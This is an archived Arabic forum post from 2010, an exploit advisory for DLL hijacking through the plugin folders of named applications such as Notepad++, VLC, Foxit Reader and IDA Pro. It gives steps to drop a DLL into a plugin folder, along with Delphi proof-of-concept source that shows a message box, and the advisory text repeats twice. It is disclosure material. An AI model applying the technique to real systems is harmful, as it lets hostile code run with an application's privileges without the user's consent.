+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي الأخرى (https://delphi4arab.net/forum/forumdisplay.php?fid=4)
+--- قسم : الامن و تحليل التطبيقات البرمجية (https://delphi4arab.net/forum/forumdisplay.php?fid=31)
+--- الموضوع : Plugin Dll Hijacking Exploit (/showthread.php?tid=2390)
Plugin Dll Hijacking Exploit - STRELiTZIA - 07-09-2010
السلام عليكم و رحمة الله
استغلال صلاحيات برنامج ما لتنفيذ اوامر ضارة في مستوى متقدم على النظام، يعني اذا استطعت ان تجعل برنامج معين عنده صلاحيات، Digitally signed او Privilege او متصفح انترنت يحمل ملف مكتبة ديناميكية دون تعديل على البرنامج و باستغلال ثغرة برمجية فيمكنك عمل اي شئ للنظام او لمستعمل النظام.
الثغرة: التحميل التلقائي للمكتبات الديناميكية الموجودة في مجلد Plugin
التجربة:
1- نسخ ملف Test.dll و لصقه في مجلد Plugin
2- تشغيل التطبيق المستهدف.
Exploit Title: [Dll Hijacking Exploit]
Application: [Application plugin support]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [%Applications list%]
Tested on: [Windows Xp, Vista, Windows 7]
Description:
------------
Allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
Applications list: (Tested)
-----------------
[COLOR="Red"]FastScanner
ExeInfoPE
Stud_PE
PE Explorer
OllyDbg
IDA Pro (*.plw)
notepad++
Hex Workshop
Foxit Reader
PhotoFiltre Studio X
VLC Media player
Import REConstructor
PE Tools by NEOx
DiE- DETECT iT EASY
[/COLOR]
Instructions:
-------------
1- Copy "Test.dll" into "Application\%plugin%"
Perform this tests:
-------------------
- Launch Application.
Test Dll Delphi Source:
---//---
[COLOR="DarkGreen"]Library Test;
uses
Windows;
begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission'),
PChar('Sample'),
MB_ICONSTOP
);
end.[/COLOR]
---//---
c) 2010 by STRELiTZIA.
Application: [Application plugin support]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [%Applications list%]
Tested on: [Windows Xp, Vista, Windows 7]
Description:
------------
Allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
Applications list: (Tested)
-----------------
[COLOR="Red"]FastScanner
ExeInfoPE
Stud_PE
PE Explorer
OllyDbg
IDA Pro (*.plw)
notepad++
Hex Workshop
Foxit Reader
PhotoFiltre Studio X
VLC Media player
Import REConstructor
PE Tools by NEOx
DiE- DETECT iT EASY
[/COLOR]
Instructions:
-------------
1- Copy "Test.dll" into "Application\%plugin%"
Perform this tests:
-------------------
- Launch Application.
Test Dll Delphi Source:
---//---
[COLOR="DarkGreen"]Library Test;
uses
Windows;
begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission'),
PChar('Sample'),
MB_ICONSTOP
);
end.[/COLOR]
---//---
c) 2010 by STRELiTZIA.